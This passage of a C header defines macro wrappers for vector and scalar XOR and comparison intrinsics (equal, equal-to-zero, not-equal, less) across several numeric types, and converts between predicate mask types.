v_f32_xor_v_v_b(a, b, i, p, o)\n#define v_bf16_xor_v_s_b(a, b, i, p, o) v_bf16_xor_v_v_b(a, b, i, p, o)\n#define v_i32_xor_v_s_b(a, b, i, p, o) v_i32_xor_v_v_b(a, b, i, p, o)\n#define v_u32_xor_v_s_b(a, b, i, p, o) v_u32_xor_v_v_b(a, b, i, p, o)\n#define v_i16_xor_v_s_b(a, b, i, p, o) v_i16_xor_v_v_b(a, b, i, p, o)\n#define v_u16_xor_v_s_b(a, b, i, p, o) v_u16_xor_v_v_b(a, b, i, p, o)\n#define v_i8_xor_v_s_b(a, b, i, p, o) v_i8_xor_v_v_b(a, b, i, p, o)\n#define v_u8_xor_v_s_b(a, b, i, p, o) v_u8_xor_v_v_b(a, b, i, p, o)\n\n#define v_f32_xor_v_v(a, b) v_f32_xor_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_xor_v_v(a, b) v_bf16_xor_v_v_b(a, b, 0, 1, 0)\n#define v_i32_xor_v_v(a, b) v_i32_xor_v_v_b(a, b, 0, 1, 0)\n#define v_u32_xor_v_v(a, b) v_u32_xor_v_v_b(a, b, 0, 1, 0)\n#define v_i16_xor_v_v(a, b) v_i16_xor_v_v_b(a, b, 0, 1, 0)\n#define v_u16_xor_v_v(a, b) v_u16_xor_v_v_b(a, b, 0, 1, 0)\n#define v_i8_xor_v_v(a, b) v_i8_xor_v_v_b(a, b, 0, 1, 0)\n#define v_u8_xor_v_v(a, b) v_u8_xor_v_v_b(a, b, 0, 1, 0)\n#define bv_b_xor_bv_bv(a, b) bv_b_xor_bv_bv_b(a, b, (bool256){0}, 1, 0)\n\n#define v_f32_xor_v_s(a, b) v_f32_xor_v_v(a, b)\n#define v_bf16_xor_v_s(a, b) v_bf16_xor_v_v(a, b)\n#define v_i32_xor_v_s(a, b) v_i32_xor_v_v(a, b)\n#define v_u32_xor_v_s(a, b) v_u32_xor_v_v(a, b)\n#define v_i16_xor_v_s(a, b) v_i16_xor_v_v(a, b)\n#define v_u16_xor_v_s(a, b) v_u16_xor_v_v(a, b)\n#define v_i8_xor_v_s(a, b) v_i8_xor_v_v(a, b)\n#define v_u8_xor_v_s(a, b) v_u8_xor_v_v(a, b)\n\n\n// CMP_EQ\n\n#define b_f32_cmp_eq_s_s_b(a, b, i, p, o) s_f32_cmp_eq(a, b, 0, i, p, o)\n#define b_bf16_cmp_eq_s_s_b(a, b, i, p, o) s_bf16_cmp_eq(a, b, 0, i, p, o)\n#define b_i32_cmp_eq_s_s_b(a, b, i, p, o) s_i32_cmp_eq(a, b, 0, i, p, o)\n#define b_u32_cmp_eq_s_s_b(a, b, i, p, o) s_u32_cmp_eq(a, b, 0, i, p, o)\n#define b_i16_cmp_eq_s_s_b(a, b, i, p, o) s_i16_cmp_eq(a, b, 0, i, p, o)\n#define b_u16_cmp_eq_s_s_b(a, b, i, p, o) s_u16_cmp_eq(a, b, 0, i, p, o)\n#define b_i8_cmp_eq_s_s_b(a, b, i, p, o) s_i8_cmp_eq(a, b, 0, i, p, o)\n#define b_u8_cmp_eq_s_s_b(a, b, i, p, o) s_u8_cmp_eq(a, b, 0, i, p, o)\n\n#define b_f32_cmp_eq_s_s(a, b) b_f32_cmp_eq_s_s_b(a, b, 0, 1, 0)\n#define b_bf16_cmp_eq_s_s(a, b) b_bf16_cmp_eq_s_s_b(a, b, 0, 1, 0)\n#define b_i32_cmp_eq_s_s(a, b) b_i32_cmp_eq_s_s_b(a, b, 0, 1, 0)\n#define b_u32_cmp_eq_s_s(a, b) b_u32_cmp_eq_s_s_b(a, b, 0, 1, 0)\n#define b_i16_cmp_eq_s_s(a, b) b_i16_cmp_eq_s_s_b(a, b, 0, 1, 0)\n#define b_u16_cmp_eq_s_s(a, b) b_u16_cmp_eq_s_s_b(a, b, 0, 1, 0)\n#define b_i8_cmp_eq_s_s(a, b) b_i8_cmp_eq_s_s_b(a, b, 0, 1, 0)\n#define b_u8_cmp_eq_s_s(a, b) b_u8_cmp_eq_s_s_b(a, b, 0, 1, 0)\n\n#define bv_f32_cmp_eq_v_v_vb(a, b, i, p, o) from_bool64(v_f32_cmp_eq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_bf16_cmp_eq_v_v_vb(a, b, i, p, o) from_bool128(v_bf16_cmp_eq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i32_cmp_eq_v_v_vb(a, b, i, p, o) from_bool64(v_i32_cmp_eq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_u32_cmp_eq_v_v_vb(a, b, i, p, o) from_bool64(v_u32_cmp_eq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_i16_cmp_eq_v_v_vb(a, b, i, p, o) from_bool128(v_i16_cmp_eq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_u16_cmp_eq_v_v_vb(a, b, i, p, o) from_bool128(v_u16_cmp_eq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i8_cmp_eq_v_v_vb(a, b, i, p, o) v_i8_cmp_eq_vb(a, b, 0, i, p, o)\n#define bv_u8_cmp_eq_v_v_vb(a, b, i, p, o) v_u8_cmp_eq_vb(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_eq_v_s_vb(a, b, i, p, o) bv_f32_cmp_eq_v_v_vb(a, b, i, p, o)\n#define bv_bf16_cmp_eq_v_s_vb(a, b, i, p, o) bv_bf16_cmp_eq_v_v_vb(a, b, i, p, o)\n#define bv_i32_cmp_eq_v_s_vb(a, b, i, p, o) bv_i32_cmp_eq_v_v_vb(a, b, i, p, o)\n#define bv_u32_cmp_eq_v_s_vb(a, b, i, p, o) bv_u32_cmp_eq_v_v_vb(a, b, i, p, o)\n#define bv_i16_cmp_eq_v_s_vb(a, b, i, p, o) bv_i16_cmp_eq_v_v_vb(a, b, i, p, o)\n#define bv_u16_cmp_eq_v_s_vb(a, b, i, p, o) bv_u16_cmp_eq_v_v_vb(a, b, i, p, o)\n#define bv_i8_cmp_eq_v_s_vb(a, b, i, p, o) bv_i8_cmp_eq_v_v_vb(a, b, i, p, o)\n#define bv_u8_cmp_eq_v_s_vb(a, b, i, p, o) bv_u8_cmp_eq_v_v_vb(a, b, i, p, o)\n\n#define bv_f32_cmp_eq_v_v_b(a, b, i, p, o) from_bool64(v_f32_cmp_eq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_bf16_cmp_eq_v_v_b(a, b, i, p, o) from_bool128(v_bf16_cmp_eq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i32_cmp_eq_v_v_b(a, b, i, p, o) from_bool64(v_i32_cmp_eq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_u32_cmp_eq_v_v_b(a, b, i, p, o) from_bool64(v_u32_cmp_eq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_i16_cmp_eq_v_v_b(a, b, i, p, o) from_bool128(v_i16_cmp_eq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_u16_cmp_eq_v_v_b(a, b, i, p, o) from_bool128(v_u16_cmp_eq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i8_cmp_eq_v_v_b(a, b, i, p, o) v_i8_cmp_eq_b(a, b, 0, i, p, o)\n#define bv_u8_cmp_eq_v_v_b(a, b, i, p, o) v_u8_cmp_eq_b(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_eq_v_s_b(a, b, i, p, o) bv_f32_cmp_eq_v_v_b(a, b, i, p, o)\n#define bv_bf16_cmp_eq_v_s_b(a, b, i, p, o) bv_bf16_cmp_eq_v_v_b(a, b, i, p, o)\n#define bv_i32_cmp_eq_v_s_b(a, b, i, p, o) bv_i32_cmp_eq_v_v_b(a, b, i, p, o)\n#define bv_u32_cmp_eq_v_s_b(a, b, i, p, o) bv_u32_cmp_eq_v_v_b(a, b, i, p, o)\n#define bv_i16_cmp_eq_v_s_b(a, b, i, p, o) bv_i16_cmp_eq_v_v_b(a, b, i, p, o)\n#define bv_u16_cmp_eq_v_s_b(a, b, i, p, o) bv_u16_cmp_eq_v_v_b(a, b, i, p, o)\n#define bv_i8_cmp_eq_v_s_b(a, b, i, p, o) bv_i8_cmp_eq_v_v_b(a, b, i, p, o)\n#define bv_u8_cmp_eq_v_s_b(a, b, i, p, o) bv_u8_cmp_eq_v_v_b(a, b, i, p, o)\n\n#define bv_f32_cmp_eq_v_v(a, b) bv_f32_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_bf16_cmp_eq_v_v(a, b) bv_bf16_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i32_cmp_eq_v_v(a, b) bv_i32_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u32_cmp_eq_v_v(a, b) bv_u32_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i16_cmp_eq_v_v(a, b) bv_i16_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u16_cmp_eq_v_v(a, b) bv_u16_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i8_cmp_eq_v_v(a, b) bv_i8_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u8_cmp_eq_v_v(a, b) bv_u8_cmp_eq_v_v_b(a, b, (bool256){0}, 1, 0)\n\n#define bv_f32_cmp_eq_v_s(a, b) bv_f32_cmp_eq_v_v(a, b)\n#define bv_i32_cmp_eq_v_s(a, b) bv_i32_cmp_eq_v_v(a, b)\n#define bv_u32_cmp_eq_v_s(a, b) bv_u32_cmp_eq_v_v(a, b)\n#define bv_i16_cmp_eq_v_s(a, b) bv_i16_cmp_eq_v_v(a, b)\n#define bv_u16_cmp_eq_v_s(a, b) bv_u16_cmp_eq_v_v(a, b)\n#define bv_i8_cmp_eq_v_s(a, b) bv_i8_cmp_eq_v_v(a, b)\n#define bv_u8_cmp_eq_v_s(a, b) bv_u8_cmp_eq_v_v(a, b)\n#define bv_bf16_cmp_eq_v_s(a, b) bv_bf16_cmp_eq_v_v(a, b)\n\n#define b_f32_cmp_eq_zero_s_s_b(a, b, i, p, o) s_f32_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define b_bf16_cmp_eq_zero_s_s_b(a, b, i, p, o) s_bf16_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define b_i32_cmp_eq_zero_s_s_b(a, b, i, p, o) s_i32_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define b_u32_cmp_eq_zero_s_s_b(a, b, i, p, o) s_u32_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define b_i16_cmp_eq_zero_s_s_b(a, b, i, p, o) s_i16_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define b_u16_cmp_eq_zero_s_s_b(a, b, i, p, o) s_u16_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define b_i8_cmp_eq_zero_s_s_b(a, b, i, p, o) s_i8_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define b_u8_cmp_eq_zero_s_s_b(a, b, i, p, o) s_u8_cmp_eq(a, b, SW_MASK_EQ_ZERO, i, p, o)\n\n#define b_f32_cmp_eq_zero_s_s(a, b) b_f32_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n#define b_bf16_cmp_eq_zero_s_s(a, b) b_bf16_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n#define b_i32_cmp_eq_zero_s_s(a, b) b_i32_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n#define b_u32_cmp_eq_zero_s_s(a, b) b_u32_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n#define b_i16_cmp_eq_zero_s_s(a, b) b_i16_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n#define b_u16_cmp_eq_zero_s_s(a, b) b_u16_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n#define b_i8_cmp_eq_zero_s_s(a, b) b_i8_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n#define b_u8_cmp_eq_zero_s_s(a, b) b_u8_cmp_eq_zero_s_s_b(a, b, 0, 1, 0)\n\n#define bv_f32_cmp_eq_zero_v_v_vb(a, b, i, p, o) from_bool64(v_f32_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, to_bool64(i), to_bool64(p), o))\n#define bv_bf16_cmp_eq_zero_v_v_vb(a, b, i, p, o) from_bool128(v_bf16_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, to_bool128(i), to_bool128(p), o))\n#define bv_i32_cmp_eq_zero_v_v_vb(a, b, i, p, o) from_bool64(v_i32_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, to_bool64(i), to_bool64(p), o))\n#define bv_u32_cmp_eq_zero_v_v_vb(a, b, i, p, o) from_bool64(v_u32_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, to_bool64(i), to_bool64(p), o))\n#define bv_i16_cmp_eq_zero_v_v_vb(a, b, i, p, o) from_bool128(v_i16_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, to_bool128(i), to_bool128(p), o))\n#define bv_u16_cmp_eq_zero_v_v_vb(a, b, i, p, o) from_bool128(v_u16_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, to_bool128(i), to_bool128(p), o))\n#define bv_i8_cmp_eq_zero_v_v_vb(a, b, i, p, o) v_i8_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define bv_u8_cmp_eq_zero_v_v_vb(a, b, i, p, o) v_u8_cmp_eq_vb(a, b, SW_MASK_EQ_ZERO, i, p, o)\n\n#define bv_f32_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_f32_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n#define bv_bf16_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_bf16_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n#define bv_i32_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_i32_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n#define bv_u32_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_u32_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n#define bv_i16_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_i16_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n#define bv_u16_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_u16_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n#define bv_i8_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_i8_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n#define bv_u8_cmp_eq_zero_v_s_vb(a, b, i, p, o) bv_u8_cmp_eq_zero_v_v_vb(a, b, i, p, o)\n\n#define bv_f32_cmp_eq_zero_v_v_b(a, b, i, p, o) from_bool64(v_f32_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, to_bool64(i), p, o))\n#define bv_bf16_cmp_eq_zero_v_v_b(a, b, i, p, o) from_bool128(v_bf16_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, to_bool128(i), p, o))\n#define bv_i32_cmp_eq_zero_v_v_b(a, b, i, p, o) from_bool64(v_i32_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, to_bool64(i), p, o))\n#define bv_u32_cmp_eq_zero_v_v_b(a, b, i, p, o) from_bool64(v_u32_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, to_bool64(i), p, o))\n#define bv_i16_cmp_eq_zero_v_v_b(a, b, i, p, o) from_bool128(v_i16_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, to_bool128(i), p, o))\n#define bv_u16_cmp_eq_zero_v_v_b(a, b, i, p, o) from_bool128(v_u16_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, to_bool128(i), p, o))\n#define bv_i8_cmp_eq_zero_v_v_b(a, b, i, p, o) v_i8_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, i, p, o)\n#define bv_u8_cmp_eq_zero_v_v_b(a, b, i, p, o) v_u8_cmp_eq_b(a, b, SW_MASK_EQ_ZERO, i, p, o)\n\n#define bv_f32_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_f32_cmp_eq_zero_v_v_b(a, b, i, p, o)\n#define bv_bf16_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_bf16_cmp_eq_zero_v_v_b(a, b, i, p, o)\n#define bv_i32_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_i32_cmp_eq_zero_v_v_b(a, b, i, p, o)\n#define bv_u32_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_u32_cmp_eq_zero_v_v_b(a, b, i, p, o)\n#define bv_i16_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_i16_cmp_eq_zero_v_v_b(a, b, i, p, o)\n#define bv_u16_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_u16_cmp_eq_zero_v_v_b(a, b, i, p, o)\n#define bv_i8_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_i8_cmp_eq_zero_v_v_b(a, b, i, p, o)\n#define bv_u8_cmp_eq_zero_v_s_b(a, b, i, p, o) bv_u8_cmp_eq_zero_v_v_b(a, b, i, p, o)\n\n#define bv_f32_cmp_eq_zero_v_v(a, b) bv_f32_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_bf16_cmp_eq_zero_v_v(a, b) bv_bf16_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i32_cmp_eq_zero_v_v(a, b) bv_i32_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u32_cmp_eq_zero_v_v(a, b) bv_u32_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i16_cmp_eq_zero_v_v(a, b) bv_i16_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u16_cmp_eq_zero_v_v(a, b) bv_u16_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i8_cmp_eq_zero_v_v(a, b) bv_i8_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u8_cmp_eq_zero_v_v(a, b) bv_u8_cmp_eq_zero_v_v_b(a, b, (bool256){0}, 1, 0)\n\n#define bv_f32_cmp_eq_zero_v_s(a, b) bv_f32_cmp_eq_zero_v_v(a, b)\n#define bv_bf16_cmp_eq_zero_v_s(a, b) bv_bf16_cmp_eq_zero_v_v(a, b)\n#define bv_i32_cmp_eq_zero_v_s(a, b) bv_i32_cmp_eq_zero_v_v(a, b)\n#define bv_u32_cmp_eq_zero_v_s(a, b) bv_u32_cmp_eq_zero_v_v(a, b)\n#define bv_i16_cmp_eq_zero_v_s(a, b) bv_i16_cmp_eq_zero_v_v(a, b)\n#define bv_u16_cmp_eq_zero_v_s(a, b) bv_u16_cmp_eq_zero_v_v(a, b)\n#define bv_i8_cmp_eq_zero_v_s(a, b) bv_i8_cmp_eq_zero_v_v(a, b)\n#define bv_u8_cmp_eq_zero_v_s(a, b) bv_u8_cmp_eq_zero_v_v(a, b)\n\n\n// CMP_NEQ\n\n#define b_f32_cmp_neq_s_s_b(a, b, i, p, o) s_f32_cmp_neq(a, b, 0, i, p, o)\n#define b_bf16_cmp_neq_s_s_b(a, b, i, p, o) s_bf16_cmp_neq(a, b, 0, i, p, o)\n#define b_i32_cmp_neq_s_s_b(a, b, i, p, o) s_i32_cmp_neq(a, b, 0, i, p, o)\n#define b_u32_cmp_neq_s_s_b(a, b, i, p, o) s_u32_cmp_neq(a, b, 0, i, p, o)\n#define b_i16_cmp_neq_s_s_b(a, b, i, p, o) s_i16_cmp_neq(a, b, 0, i, p, o)\n#define b_u16_cmp_neq_s_s_b(a, b, i, p, o) s_u16_cmp_neq(a, b, 0, i, p, o)\n#define b_i8_cmp_neq_s_s_b(a, b, i, p, o) s_i8_cmp_neq(a, b, 0, i, p, o)\n#define b_u8_cmp_neq_s_s_b(a, b, i, p, o) s_u8_cmp_neq(a, b, 0, i, p, o)\n\n#define b_f32_cmp_neq_s_s(a, b) b_f32_cmp_neq_s_s_b(a, b, 0, 1, 0)\n#define b_bf16_cmp_neq_s_s(a, b) b_bf16_cmp_neq_s_s_b(a, b, 0, 1, 0)\n#define b_i32_cmp_neq_s_s(a, b) b_i32_cmp_neq_s_s_b(a, b, 0, 1, 0)\n#define b_u32_cmp_neq_s_s(a, b) b_u32_cmp_neq_s_s_b(a, b, 0, 1, 0)\n#define b_i16_cmp_neq_s_s(a, b) b_i16_cmp_neq_s_s_b(a, b, 0, 1, 0)\n#define b_u16_cmp_neq_s_s(a, b) b_u16_cmp_neq_s_s_b(a, b, 0, 1, 0)\n#define b_i8_cmp_neq_s_s(a, b) b_i8_cmp_neq_s_s_b(a, b, 0, 1, 0)\n#define b_u8_cmp_neq_s_s(a, b) b_u8_cmp_neq_s_s_b(a, b, 0, 1, 0)\n\n#define bv_f32_cmp_neq_v_v_vb(a, b, i, p, o) from_bool64(v_f32_cmp_neq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_bf16_cmp_neq_v_v_vb(a, b, i, p, o) from_bool128(v_bf16_cmp_neq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i32_cmp_neq_v_v_vb(a, b, i, p, o) from_bool64(v_i32_cmp_neq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_u32_cmp_neq_v_v_vb(a, b, i, p, o) from_bool64(v_u32_cmp_neq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_i16_cmp_neq_v_v_vb(a, b, i, p, o) from_bool128(v_i16_cmp_neq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_u16_cmp_neq_v_v_vb(a, b, i, p, o) from_bool128(v_u16_cmp_neq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i8_cmp_neq_v_v_vb(a, b, i, p, o) v_i8_cmp_neq_vb(a, b, 0, i, p, o)\n#define bv_u8_cmp_neq_v_v_vb(a, b, i, p, o) v_u8_cmp_neq_vb(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_neq_v_s_vb(a, b, i, p, o) bv_f32_cmp_neq_v_v_vb(a, b, i, p, o)\n#define bv_bf16_cmp_neq_v_s_vb(a, b, i, p, o) bv_bf16_cmp_neq_v_v_vb(a, b, i, p, o)\n#define bv_i32_cmp_neq_v_s_vb(a, b, i, p, o) bv_i32_cmp_neq_v_v_vb(a, b, i, p, o)\n#define bv_u32_cmp_neq_v_s_vb(a, b, i, p, o) bv_u32_cmp_neq_v_v_vb(a, b, i, p, o)\n#define bv_i16_cmp_neq_v_s_vb(a, b, i, p, o) bv_i16_cmp_neq_v_v_vb(a, b, i, p, o)\n#define bv_u16_cmp_neq_v_s_vb(a, b, i, p, o) bv_u16_cmp_neq_v_v_vb(a, b, i, p, o)\n#define bv_i8_cmp_neq_v_s_vb(a, b, i, p, o) bv_i8_cmp_neq_v_v_vb(a, b, i, p, o)\n#define bv_u8_cmp_neq_v_s_vb(a, b, i, p, o) bv_u8_cmp_neq_v_v_vb(a, b, i, p, o)\n\n#define bv_f32_cmp_neq_v_v_b(a, b, i, p, o) from_bool64(v_f32_cmp_neq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_bf16_cmp_neq_v_v_b(a, b, i, p, o) from_bool128(v_bf16_cmp_neq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i32_cmp_neq_v_v_b(a, b, i, p, o) from_bool64(v_i32_cmp_neq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_u32_cmp_neq_v_v_b(a, b, i, p, o) from_bool64(v_u32_cmp_neq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_i16_cmp_neq_v_v_b(a, b, i, p, o) from_bool128(v_i16_cmp_neq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_u16_cmp_neq_v_v_b(a, b, i, p, o) from_bool128(v_u16_cmp_neq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i8_cmp_neq_v_v_b(a, b, i, p, o) v_i8_cmp_neq_b(a, b, 0, i, p, o)\n#define bv_u8_cmp_neq_v_v_b(a, b, i, p, o) v_u8_cmp_neq_b(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_neq_v_s_b(a, b, i, p, o) bv_f32_cmp_neq_v_v_b(a, b, i, p, o)\n#define bv_bf16_cmp_neq_v_s_b(a, b, i, p, o) bv_bf16_cmp_neq_v_v_b(a, b, i, p, o)\n#define bv_i32_cmp_neq_v_s_b(a, b, i, p, o) bv_i32_cmp_neq_v_v_b(a, b, i, p, o)\n#define bv_u32_cmp_neq_v_s_b(a, b, i, p, o) bv_u32_cmp_neq_v_v_b(a, b, i, p, o)\n#define bv_i16_cmp_neq_v_s_b(a, b, i, p, o) bv_i16_cmp_neq_v_v_b(a, b, i, p, o)\n#define bv_u16_cmp_neq_v_s_b(a, b, i, p, o) bv_u16_cmp_neq_v_v_b(a, b, i, p, o)\n#define bv_i8_cmp_neq_v_s_b(a, b, i, p, o) bv_i8_cmp_neq_v_v_b(a, b, i, p, o)\n#define bv_u8_cmp_neq_v_s_b(a, b, i, p, o) bv_u8_cmp_neq_v_v_b(a, b, i, p, o)\n\n#define bv_f32_cmp_neq_v_v(a, b) bv_f32_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_bf16_cmp_neq_v_v(a, b) bv_bf16_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i32_cmp_neq_v_v(a, b) bv_i32_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u32_cmp_neq_v_v(a, b) bv_u32_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i16_cmp_neq_v_v(a, b) bv_i16_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u16_cmp_neq_v_v(a, b) bv_u16_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i8_cmp_neq_v_v(a, b) bv_i8_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u8_cmp_neq_v_v(a, b) bv_u8_cmp_neq_v_v_b(a, b, (bool256){0}, 1, 0)\n\n#define bv_f32_cmp_neq_v_s(a, b) bv_f32_cmp_neq_v_v(a, b)\n#define bv_i32_cmp_neq_v_s(a, b) bv_i32_cmp_neq_v_v(a, b)\n#define bv_u32_cmp_neq_v_s(a, b) bv_u32_cmp_neq_v_v(a, b)\n#define bv_i16_cmp_neq_v_s(a, b) bv_i16_cmp_neq_v_v(a, b)\n#define bv_u16_cmp_neq_v_s(a, b) bv_u16_cmp_neq_v_v(a, b)\n#define bv_i8_cmp_neq_v_s(a, b) bv_i8_cmp_neq_v_v(a, b)\n#define bv_u8_cmp_neq_v_s(a, b) bv_u8_cmp_neq_v_v(a, b)\n#define bv_bf16_cmp_neq_v_s(a, b) bv_bf16_cmp_neq_v_v(a, b)\n\n\n// CMP_LESS\n\n#define b_f32_cmp_less_s_s_b(a, b, i, p, o) s_f32_cmp_less(a, b, 0, i, p, o)\n#define b_bf16_cmp_less_s_s_b(a, b, i, p, o) s_bf16_cmp_less(a, b, 0, i, p, o)\n#define b_i32_cmp_less_s_s_b(a, b, i, p, o) s_i32_cmp_less(a, b, 0, i, p, o)\n#define b_u32_cmp_less_s_s_b(a, b, i, p, o) s_u32_cmp_less(a, b, 0, i, p, o)\n#define b_i16_cmp_less_s_s_b(a, b, i, p, o) s_i16_cmp_less(a, b, 0, i, p, o)\n#define b_u16_cmp_less_s_s_b(a, b, i, p, o) s_u16_cmp_less(a, b, 0, i, p, o)\n#define b_i8_cmp_less_s_s_b(a, b, i, p, o) s_i8_cmp_less(a, b, 0, i, p, o)\n#define b_u8_cmp_less_s_s_b(a, b, i, p, o) s_u8_cmp_less(a, b, 0, i, p, o)\n\n#define b_f32_cmp_less_s_s(a, b) b_f32_cmp_less_s_s_b(a, b, 0, 1, 0)\n#define b_bf16_cmp_less_s_s(a, b) b_bf16_cmp_less_s_s_b(a, b, 0, 1, 0)\n#define b_i32_cmp_less_s_s(a, b) b_i32_cmp_less_s_s_b(a, b, 0, 1, 0)\n#define b_u32_cmp_less_s_s(a, b) b_u32_cmp_less_s_s_b(a, b, 0, 1, 0)\n#define b_i16_cmp_less_s_s(a, b) b_i16_cmp_less_s_s_b(a, b, 0, 1, 0)\n#define b_u16_cmp_less_s_s(a, b) b_u16_cmp_less_s_s_b(a, b, 0, 1, 0)\n#define b_i8_cmp_less_s_s(a, b) b_i8_cmp_less_s_s_b(a, b, 0, 1, 0)\n#define b_u8_cmp_less_s_s(a, b) b_u8_cmp_less_s_s_b(a, b, 0, 1, 0)\n\n#define bv_f32_cmp_less_v_v_vb(a, b, i, p, o) from_bool64(v_f32_cmp_less_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_bf16_cmp_less_v_v_vb(a, b, i, p, o) from_bool128(v_bf16_cmp_less_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i32_cmp_less_v_v_vb(a, b, i, p, o) from_bool64(v_i32_cmp_less_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_u32_cmp_less_v_v_vb(a, b, i, p, o) from_bool64(v_u32_cmp_less_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_i16_cmp_less_v_v_vb(a, b, i, p, o) from_bool128(v_i16_cmp_less_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_u16_cmp_less_v_v_vb(a, b, i, p, o) from_bool128(v_u16_cmp_less_vb(a, b, 0, to_bool128(i), to_bool128(p), 